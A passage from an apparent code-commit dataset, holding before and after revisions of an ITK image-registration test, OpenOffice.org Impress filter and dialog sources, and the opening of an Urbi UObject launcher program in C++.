1e-5 );\n registrationMethod->StartRegistration();\n\n registrationMethod->SetNumberOfIterations( 250 );\n registrationMethod->SetLearningRate( 1e-7 );\n registrationMethod->StartRegistration();\n\n registrationMethod->SetNumberOfIterations( 125 );\n registrationMethod->SetLearningRate( 1e-8 );\n registrationMethod->StartRegistration();\n\n\n \/\/ get the results\n RegistrationType::ParametersType solution = \n registrationMethod->GetParameters();\n\n std::cout << \"Solution is: \" << solution << std::endl;\n\n \/\/\n \/\/ check results to see if it is within range\n \/\/\n bool pass = true;\n double trueParameters[6] = { 1, 0, 0, 1, 0, 0 };\n trueParameters[4] = - displacement[0];\n trueParameters[5] = - displacement[1];\n for( unsigned int j = 0; j < 4; j++ )\n {\n if( vnl_math_abs( solution[j] - trueParameters[j] ) > 0.02 )\n {\n std::cout << j << \" \";\n std::cout << solution[j] << \" \";\n std::cout << trueParameters[j] << \" \";\n std::cout << vnl_math_abs( solution[j] - trueParameters[j] ) << \" \";\n std::cout << std::endl;\n pass = false;\n }\n }\n for( unsigned int j = 4; j < 6; j++ )\n {\n if( vnl_math_abs( solution[j] * transScale - trueParameters[j] ) > 1.0 )\n {\n std::cout << j << \" \";\n std::cout << solution[j] << \" \";\n std::cout << trueParameters[j] << \" \";\n std::cout << vnl_math_abs( solution[j] - trueParameters[j] ) << \" \";\n std::cout << std::endl;\n pass = false;\n }\n }\n\n if( !pass )\n {\n std::cout << \"Test failed.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n std::cout << \"Test passed.\" << std::endl;\n return EXIT_SUCCESS;\n\n}\n<commit_msg><commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit (ITK)\n Module: itkImageToImageAffineMutualInformationGradientDescentRegistrationTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\nCopyright (c) 2001 Insight Consortium\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n * The name of the Insight Consortium, nor the names of any consortium members,\n nor of any contributors, may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"itkPhysicalImage.h\"\n#include \"itkImageRegionIterator.h\"\n\n#include \"itkImageToImageAffineMutualInformationGradientDescentRegistration.h\"\n#include \"vnl\/vnl_math.h\"\n\n#include <iostream>\n\nint main()\n{\n\n\/\/------------------------------------------------------------\n\/\/ Create two simple images\n\/\/ Two Gaussians with one translated (7,3) pixels from another\n\/\/------------------------------------------------------------\n\n \/\/Allocate Images\n typedef itk::PhysicalImage<unsigned char,2> ReferenceType;\n typedef itk::PhysicalImage<unsigned char,2> TargetType;\n enum { ImageDimension = ReferenceType::ImageDimension };\n\n ReferenceType::SizeType size = {{100,100}};\n ReferenceType::IndexType index = {{0,0}};\n ReferenceType::RegionType region;\n region.SetSize( size );\n region.SetIndex( index );\n\n ReferenceType::Pointer imgReference = ReferenceType::New();\n imgReference->SetLargestPossibleRegion( region );\n imgReference->SetBufferedRegion( region );\n imgReference->SetRequestedRegion( region );\n imgReference->Allocate();\n\n TargetType::Pointer imgTarget = TargetType::New();\n imgTarget->SetLargestPossibleRegion( region );\n imgTarget->SetBufferedRegion( region );\n imgTarget->SetRequestedRegion( region );\n imgTarget->Allocate();\n\n \/\/ Fill images with a 2D gaussian\n typedef itk::ImageRegionIterator<ReferenceType>\n ReferenceIteratorType;\n typedef itk::ImageRegionIterator<TargetType>\n TargetIteratorType;\n\n itk::Point<double,2> center;\n center[0] = (double)region.GetSize()[0]\/2.0;\n center[1] = (double)region.GetSize()[1]\/2.0;\n\n const double s = (double)region.GetSize()[0]\/2.0;\n\n itk::Point<double,2> p;\n itk::Vector<double,2> d;\n\n \/\/ Set the displacement\n itk::Vector<double,2> displacement;\n displacement[0] = 7;\n displacement[1] =\t3;\n\n ReferenceIteratorType ri(imgReference,region);\n TargetIteratorType ti(imgTarget,region);\n ri.Begin();\n while(!ri.IsAtEnd())\n {\n p[0] = ri.GetIndex()[0];\n p[1] = ri.GetIndex()[1];\n\t d = p-center;\n\t d += displacement;\n\t const double x = d[0];\n\t const double y = d[1];\n ri.Set( (unsigned char)( 200.0 * exp( - ( x*x + y*y )\/(s*s) ) ) );\n ++ri;\n }\n\n\n ti.Begin();\n while(!ti.IsAtEnd())\n {\n p[0] = ti.GetIndex()[0];\n p[1] = ti.GetIndex()[1];\n\td = p-center;\n\tconst double x = d[0];\n\tconst double y = d[1];\n ti.Set( (unsigned char)( 200.0 * exp( - ( x*x + y*y )\/(s*s) ) ) );\n ++ti;\n }\n\n\/\/-----------------------------------------------------------\n\/\/ Set up a the registrator\n\/\/-----------------------------------------------------------\n typedef itk::ImageToImageAffineMutualInformationGradientDescentRegistration<\n ReferenceType,TargetType> RegistrationType;\n\n RegistrationType::Pointer registrationMethod = RegistrationType::New();\n\n \/\/ connect the images\n registrationMethod->SetReference(imgReference);\n registrationMethod->SetTarget(imgTarget);\n\n \/\/ set the transformation centers\n RegistrationType::PointType transCenter;\n for( unsigned int j = 0; j < 2; j++ )\n {\n transCenter[j] = double(size[j]) \/ 2;\n }\n\n registrationMethod->SetTargetTransformationCenter( transCenter );\n registrationMethod->SetReferenceTransformationCenter( transCenter );\n\n \/\/ set translation scale\n const double transScale = 100;\n registrationMethod->SetTranslationScale( transScale );\n\n \/\/ set metric related parameters\n registrationMethod->GetMetric()->SetTargetStandardDeviation( 5.0 );\n registrationMethod->GetMetric()->SetReferenceStandardDeviation( 5.0 );\n registrationMethod->GetMetric()->SetNumberOfSpatialSamples( 50 );\n\n \/\/ do the registration\n \/\/ reduce learning rate as we go\n registrationMethod->SetNumberOfIterations( 300 );\n registrationMethod->SetLearningRate( 5e-5 );\n registrationMethod->StartRegistration();\n\n registrationMethod->SetNumberOfIterations( 300 );\n registrationMethod->SetLearningRate( 1e-5 );\n registrationMethod->StartRegistration();\n\n registrationMethod->SetNumberOfIterations( 300 );\n registrationMethod->SetLearningRate( 1e-6 );\n registrationMethod->StartRegistration();\n\n\n \/\/ get the results\n RegistrationType::ParametersType solution = \n registrationMethod->GetParameters();\n\n std::cout << \"Solution is: \" << solution << std::endl;\n\n \/\/\n \/\/ check results to see if it is within range\n \/\/\n bool pass = true;\n double trueParameters[6] = { 1, 0, 0, 1, 0, 0 };\n trueParameters[4] = - displacement[0];\n trueParameters[5] = - displacement[1];\n for( unsigned int j = 0; j < 4; j++ )\n {\n if( vnl_math_abs( solution[j] - trueParameters[j] ) > 0.02 )\n {\n std::cout << j << \" \";\n std::cout << solution[j] << \" \";\n std::cout << trueParameters[j] << \" \";\n std::cout << vnl_math_abs( solution[j] - trueParameters[j] ) << \" \";\n std::cout << std::endl;\n pass = false;\n }\n }\n for( unsigned int j = 4; j < 6; j++ )\n {\n if( vnl_math_abs( solution[j] * transScale - trueParameters[j] ) > 1.0 )\n {\n std::cout << j << \" \";\n std::cout << solution[j] << \" \";\n std::cout << trueParameters[j] << \" \";\n std::cout << vnl_math_abs( solution[j] - trueParameters[j] ) << \" \";\n std::cout << std::endl;\n pass = false;\n }\n }\n\n if( !pass )\n {\n std::cout << \"Test failed.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n std::cout << \"Test passed.\" << std::endl;\n return EXIT_SUCCESS;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: sdfilter.cxx,v $\n *\n * $Revision: 1.13 $\n *\n * last change: $Author: obo $ $Date: 2006-09-16 18:19:23 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#ifndef _COM_SUN_STAR_TASK_XSTATUSINDICATORFACTORY_HPP_\n#include <com\/sun\/star\/task\/XStatusIndicatorFactory.hpp>\n#endif\n\n#include <tools\/debug.hxx>\n#include <osl\/file.hxx>\n#include <vos\/module.hxx>\n#include <svtools\/pathoptions.hxx>\n#include <sfx2\/docfile.hxx>\n#include <sfx2\/viewfrm.hxx>\n#include <sfx2\/progress.hxx>\n\n#ifndef _SFXITEMSET_HXX\n#include <svtools\/itemset.hxx>\n#endif\n\n#ifndef MAC\n#ifndef SVX_LIGHT\n#ifndef SD_DRAW_DOC_SHELL_HXX\n#include \"..\/ui\/inc\/DrawDocShell.hxx\"\n#endif\n#include \"..\/ui\/inc\/strings.hrc\"\n#endif \/\/!SVX_LIGHT\n#else \/\/MAC\n#ifndef SVX_LIGHT\n#ifndef SD_DRAW_DOC_SHELL_HXX\n#include \"DrawDocShell.hxx\"\n#endif\n#include \"strings.hrc\"\n#endif \/\/!SVX_LIGHT\n#endif \/\/!MAC\n\n#include \"sdresid.hxx\"\n#include \"pres.hxx\"\n#include \"drawdoc.hxx\"\n#include \"sdfilter.hxx\"\n\n\/\/ --------------\n\/\/ - Namespaces -\n\/\/ --------------\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::task;\nusing namespace ::com::sun::star::frame;\n\n\/\/ ------------\n\/\/ - SdFilter -\n\/\/ ------------\n\nSdFilter::SdFilter( SfxMedium& rMedium, ::sd::DrawDocShell& rDocShell, sal_Bool bShowProgress ) :\n mrMedium( rMedium ),\n mrDocShell( rDocShell ),\n mrDocument( *rDocShell.GetDoc() ),\n mxModel( rDocShell.GetModel() ),\n mpProgress( NULL ),\n mbIsDraw( rDocShell.GetDocumentType() == DOCUMENT_TYPE_DRAW ),\n mbShowProgress( bShowProgress )\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nSdFilter::~SdFilter()\n{\n if( !mrDocShell.HasSpecialProgress() )\n delete mpProgress;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n::rtl::OUString SdFilter::ImplGetFullLibraryName( const ::rtl::OUString& rLibraryName ) const\n{\n String aTemp( ::rtl::OUString::createFromAscii( SVLIBRARY( \"?\" ) ) );\n xub_StrLen nIndex = aTemp.Search( (sal_Unicode)'?' );\n aTemp.Replace( nIndex, 1, rLibraryName );\n ::rtl::OUString aLibraryName( aTemp );\n return aLibraryName;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n::vos::OModule* SdFilter::OpenLibrary( const ::rtl::OUString& rLibraryName ) const\n{\n ::rtl::OUString aDest;\n ::rtl::OUString aNormalizedPath;\n ::vos::OModule* pRet;\n\n if ( ::osl::FileBase::getFileURLFromSystemPath( SvtPathOptions().GetModulePath(), aDest ) != ::osl::FileBase::E_None )\n aDest = SvtPathOptions().GetModulePath();\n aDest += ::rtl::OUString( sal_Unicode( '\/' ) );\n aDest += ::rtl::OUString( ImplGetFullLibraryName( rLibraryName ) );\n ::osl::FileBase::getSystemPathFromFileURL( aDest, aNormalizedPath );\n\n if( !( pRet = new ::vos::OModule( aNormalizedPath ) )->isLoaded() )\n delete pRet, pRet = NULL;\n\n return pRet;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nvoid SdFilter::CreateStatusIndicator()\n{\n \/\/ The status indicator must be retrieved from the provided medium arguments\n const SfxUnoAnyItem* pStatusBarItem = static_cast<const SfxUnoAnyItem*>(\n mrMedium.GetItemSet()->GetItem(SID_PROGRESS_STATUSBAR_CONTROL) );\n\n if ( pStatusBarItem )\n pStatusBarItem->GetValue() >>= mxStatusIndicator;\n\n\/\/ try\n\/\/ {\n\/\/ if (mxModel.is())\n\/\/ {\n\/\/ Reference< XController > xController( mxModel->getCurrentController());\n\/\/ if( xController.is())\n\/\/ {\n\/\/ Reference< XFrame > xFrame( xController->getFrame());\n\/\/ if( xFrame.is())\n\/\/ {\n\/\/ Reference< XStatusIndicatorFactory > xFactory( xFrame, UNO_QUERY );\n\/\/ if( xFactory.is())\n\/\/ {\n\/\/ mxStatusIndicator = xFactory->createStatusIndicator();\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ catch( Exception& )\n\/\/ {\n\/\/ }\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nvoid SdFilter::CreateProgress()\n{\n if( mrDocShell.HasSpecialProgress() )\n mpProgress = mrDocShell.GetSpecialProgress();\n else\n {\n mpProgress = new SfxProgress( &mrDocShell, String( SdResId( STR_OPEN_DOCUMENT ) ), 100 );\n mpProgress->SetState( 0, 100 );\n }\n}\n\n<commit_msg>INTEGRATION: CWS aw024 (1.10.12); FILE MERGED 2006\/09\/21 22:47:47 aw 1.10.12.4: RESYNC: (1.12-1.13); FILE MERGED 2005\/11\/18 14:18:07 aw 1.10.12.3: RESYNC: (1.11-1.12); FILE MERGED 2005\/09\/17 10:26:06 aw 1.10.12.2: RESYNC: (1.10-1.11); FILE MERGED 2005\/08\/04 14:49:36 sj 1.10.12.1: #48467# using GraphicExporter component for exports, graphic filter progress now works now via xStatusIndicater instead of callback mechanism<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: sdfilter.cxx,v $\n *\n * $Revision: 1.14 $\n *\n * last change: $Author: ihi $ $Date: 2006-11-14 14:22:10 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#ifndef _COM_SUN_STAR_TASK_XSTATUSINDICATORFACTORY_HPP_\n#include <com\/sun\/star\/task\/XStatusIndicatorFactory.hpp>\n#endif\n\n#include <tools\/debug.hxx>\n#include <osl\/file.hxx>\n#include <vos\/module.hxx>\n#include <svtools\/pathoptions.hxx>\n#include <sfx2\/docfile.hxx>\n#include <sfx2\/viewfrm.hxx>\n#include <sfx2\/progress.hxx>\n\n#ifndef _SFXITEMSET_HXX\n#include <svtools\/itemset.hxx>\n#endif\n\n#ifndef MAC\n#ifndef SVX_LIGHT\n#ifndef SD_DRAW_DOC_SHELL_HXX\n#include \"..\/ui\/inc\/DrawDocShell.hxx\"\n#endif\n#include \"..\/ui\/inc\/strings.hrc\"\n#endif \/\/!SVX_LIGHT\n#else \/\/MAC\n#ifndef SVX_LIGHT\n#ifndef SD_DRAW_DOC_SHELL_HXX\n#include \"DrawDocShell.hxx\"\n#endif\n#include \"strings.hrc\"\n#endif \/\/!SVX_LIGHT\n#endif \/\/!MAC\n\n#include \"sdresid.hxx\"\n#include \"pres.hxx\"\n#include \"drawdoc.hxx\"\n#include \"sdfilter.hxx\"\n\n\/\/ --------------\n\/\/ - Namespaces -\n\/\/ --------------\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::task;\nusing namespace ::com::sun::star::frame;\n\n\/\/ ------------\n\/\/ - SdFilter -\n\/\/ ------------\n\nSdFilter::SdFilter( SfxMedium& rMedium, ::sd::DrawDocShell& rDocShell, sal_Bool bShowProgress ) :\n mrMedium( rMedium ),\n mrDocShell( rDocShell ),\n mrDocument( *rDocShell.GetDoc() ),\n mxModel( rDocShell.GetModel() ),\n mbIsDraw( rDocShell.GetDocumentType() == DOCUMENT_TYPE_DRAW ),\n mbShowProgress( bShowProgress )\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nSdFilter::~SdFilter()\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n::rtl::OUString SdFilter::ImplGetFullLibraryName( const ::rtl::OUString& rLibraryName ) const\n{\n String aTemp( ::rtl::OUString::createFromAscii( SVLIBRARY( \"?\" ) ) );\n xub_StrLen nIndex = aTemp.Search( (sal_Unicode)'?' );\n aTemp.Replace( nIndex, 1, rLibraryName );\n ::rtl::OUString aLibraryName( aTemp );\n return aLibraryName;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n::vos::OModule* SdFilter::OpenLibrary( const ::rtl::OUString& rLibraryName ) const\n{\n ::rtl::OUString aDest;\n ::rtl::OUString aNormalizedPath;\n ::vos::OModule* pRet;\n\n if ( ::osl::FileBase::getFileURLFromSystemPath( SvtPathOptions().GetModulePath(), aDest ) != ::osl::FileBase::E_None )\n aDest = SvtPathOptions().GetModulePath();\n aDest += ::rtl::OUString( sal_Unicode( '\/' ) );\n aDest += ::rtl::OUString( ImplGetFullLibraryName( rLibraryName ) );\n ::osl::FileBase::getSystemPathFromFileURL( aDest, aNormalizedPath );\n\n if( !( pRet = new ::vos::OModule( aNormalizedPath ) )->isLoaded() )\n delete pRet, pRet = NULL;\n\n return pRet;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\nvoid SdFilter::CreateStatusIndicator()\n{\n \/\/ The status indicator must be retrieved from the provided medium arguments\n const SfxUnoAnyItem* pStatusBarItem = static_cast<const SfxUnoAnyItem*>(\n mrMedium.GetItemSet()->GetItem(SID_PROGRESS_STATUSBAR_CONTROL) );\n\n if ( pStatusBarItem )\n pStatusBarItem->GetValue() >>= mxStatusIndicator;\n\n\/\/ try\n\/\/ {\n\/\/ if (mxModel.is())\n\/\/ {\n\/\/ Reference< XController > xController( mxModel->getCurrentController());\n\/\/ if( xController.is())\n\/\/ {\n\/\/ Reference< XFrame > xFrame( xController->getFrame());\n\/\/ if( xFrame.is())\n\/\/ {\n\/\/ Reference< XStatusIndicatorFactory > xFactory( xFrame, UNO_QUERY );\n\/\/ if( xFactory.is())\n\/\/ {\n\/\/ mxStatusIndicator = xFactory->createStatusIndicator();\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ catch( Exception& )\n\/\/ {\n\/\/ }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: BreakDlg.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: obo $ $Date: 2004-01-20 11:29:55 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_BREAK_DLG_HXX\n#define SD_BREAK_DLG_HXX\n\n#ifndef _SV_GROUP_HXX \/\/autogen\n#include <vcl\/group.hxx>\n#endif\n#ifndef _SV_BUTTON_HXX \/\/autogen\n#include <vcl\/button.hxx>\n#endif\n#ifndef _SVX_DLG_CTRL_HXX \/\/autogen\n#include <svx\/dlgctrl.hxx>\n#endif\n#ifndef _SV_FIELD_HXX \/\/autogen\n#include <vcl\/field.hxx>\n#endif\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n#ifndef _PRGSBAR_HXX\n#include <svtools\/prgsbar.hxx>\n#endif\n#ifndef _SV_EDIT_HXX\n#include <vcl\/edit.hxx>\n#endif\n#ifndef _STDCTRL_HXX\n#include <svtools\/stdctrl.hxx>\n#endif\n\n#ifndef _BASEDLGS_HXX \/\/autogen\n#include <sfx2\/basedlgs.hxx>\n#endif\n\nclass SvdProgressInfo;\nclass SfxProgress;\n\nnamespace sd {\n\nclass DrawDocShell;\nclass DrawView;\n\n\/*************************************************************************\n|*\n|* Dialog zum aufbrechen von Metafiles\n|*\n\\************************************************************************\/\nclass BreakDlg\n : public SfxModalDialog\n{\npublic:\n BreakDlg (\n ::Window* pWindow,\n DrawView* pDrView,\n DrawDocShell* pShell,\n ULONG nSumActionCount,\n ULONG nObjCount);\n virtual ~BreakDlg();\n\n short Execute();\n\nprivate:\n FixedText aFtObjInfo;\n FixedText aFtActInfo;\n FixedText aFtInsInfo;\n\n FixedInfo aFiObjInfo;\n FixedInfo aFiActInfo;\n FixedInfo aFiInsInfo;\n\n CancelButton aBtnCancel;\n DrawView* pDrView;\n\n BOOL bCancel;\n\n Timer aTimer;\n SvdProgressInfo *pProgrInfo;\n Link aLink;\n SfxProgress *mpProgress;\n\n DECL_LINK( CancelButtonHdl, void* );\n DECL_LINK( UpDate, void* );\n DECL_LINK( InitialUpdate, Timer* );\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.562); FILE MERGED 2005\/09\/05 13:22:37 rt 1.2.562.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: BreakDlg.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 05:02:12 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SD_BREAK_DLG_HXX\n#define SD_BREAK_DLG_HXX\n\n#ifndef _SV_GROUP_HXX \/\/autogen\n#include <vcl\/group.hxx>\n#endif\n#ifndef _SV_BUTTON_HXX \/\/autogen\n#include <vcl\/button.hxx>\n#endif\n#ifndef _SVX_DLG_CTRL_HXX \/\/autogen\n#include <svx\/dlgctrl.hxx>\n#endif\n#ifndef _SV_FIELD_HXX \/\/autogen\n#include <vcl\/field.hxx>\n#endif\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n#ifndef _PRGSBAR_HXX\n#include <svtools\/prgsbar.hxx>\n#endif\n#ifndef _SV_EDIT_HXX\n#include <vcl\/edit.hxx>\n#endif\n#ifndef _STDCTRL_HXX\n#include <svtools\/stdctrl.hxx>\n#endif\n\n#ifndef _BASEDLGS_HXX \/\/autogen\n#include <sfx2\/basedlgs.hxx>\n#endif\n\nclass SvdProgressInfo;\nclass SfxProgress;\n\nnamespace sd {\n\nclass DrawDocShell;\nclass DrawView;\n\n\/*************************************************************************\n|*\n|* Dialog zum aufbrechen von Metafiles\n|*\n\\************************************************************************\/\nclass BreakDlg\n : public SfxModalDialog\n{\npublic:\n BreakDlg (\n ::Window* pWindow,\n DrawView* pDrView,\n DrawDocShell* pShell,\n ULONG nSumActionCount,\n ULONG nObjCount);\n virtual ~BreakDlg();\n\n short Execute();\n\nprivate:\n FixedText aFtObjInfo;\n FixedText aFtActInfo;\n FixedText aFtInsInfo;\n\n FixedInfo aFiObjInfo;\n FixedInfo aFiActInfo;\n FixedInfo aFiInsInfo;\n\n CancelButton aBtnCancel;\n DrawView* pDrView;\n\n BOOL bCancel;\n\n Timer aTimer;\n SvdProgressInfo *pProgrInfo;\n Link aLink;\n SfxProgress *mpProgress;\n\n DECL_LINK( CancelButtonHdl, void* );\n DECL_LINK( UpDate, void* );\n DECL_LINK( InitialUpdate, Timer* );\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <string>\n#include <cassert>\n#include <cstdarg>\n#include <libport\/cstdlib>\n#include <iostream>\n#include <stdexcept>\n\n#include <sdk\/config.h>\n\n#include <libport\/cli.hh>\n#include <libport\/containers.hh>\n#include <libport\/file-system.hh>\n#include <libport\/foreach.hh>\n#include <libport\/path.hh>\n#include <libport\/package-info.hh>\n#include <libport\/program-name.hh>\n#include <libport\/sysexits.hh>\n#include <libport\/unistd.h>\n#include <libport\/windows.hh>\n#include <libport\/option-parser.hh>\n#include <libport\/xltdl.hh>\n\n#include <urbi\/exit.hh>\n#include <urbi\/package-info.hh>\n#include <urbi\/uclient.hh>\n\nusing namespace urbi;\nusing libport::program_name;\n\n\/\/ List of module names.\ntypedef std::list<std::string> modules_type;\n\nstatic UCallbackAction\nonError(const UMessage& msg)\n{\n std::cerr << program_name()\n << \": load module error: \" << msg.message << std::endl;\n return URBI_CONTINUE;\n}\n\nstatic UCallbackAction\nonDone(const UMessage&)\n{\n ::exit(0);\n}\n\nstatic int\nconnect_plugin(const std::string& host, int port, const modules_type& modules)\n{\n UClient cl(host, port);\n if (cl.error())\n \/\/ UClient already displayed an error message.\n ::exit(1);\n cl.setErrorCallback(callback(&onError));\n cl.setCallback(callback(&onDone), \"output\");\n foreach (const std::string& m, modules)\n cl << \"loadModule(\\\"\" << m << \"\\\");\";\n cl << \"output << 1;\";\n while (true)\n sleep(1);\n return 0;\n}\n\nstatic void\nusage(libport::OptionParser& parser)\n{\n std::cout <<\n \"usage: \" << program_name() <<\n \" [OPTIONS] MODULE_NAMES ... [-- UOPTIONS...]\\n\"\n \"Start an UObject in either remote or plugin mode.\\n\"\n << parser <<\n \"\\n\"\n \"MODULE_NAMES is a list of modules.\\n\"\n \"UOPTIONS are passed to urbi::main in remote and start modes.\\n\"\n \"\\n\"\n \"Exit values:\\n\"\n \" 0 success\\n\"\n \" \" << EX_NOINPUT << \" some of the MODULES are missing\\n\"\n \" \" << EX_OSFILE << \" libuobject is missing\\n\"\n \" * other kinds of errors\\n\"\n ;\n ::exit(EX_OK);\n}\n\n\nstatic\nvoid\nversion()\n{\n std::cout << urbi::package_info() << std::endl\n << libport::exit(EX_OK);\n}\n\nstatic\nstd::string\nabsolute(const std::string& s)\n{\n libport::path 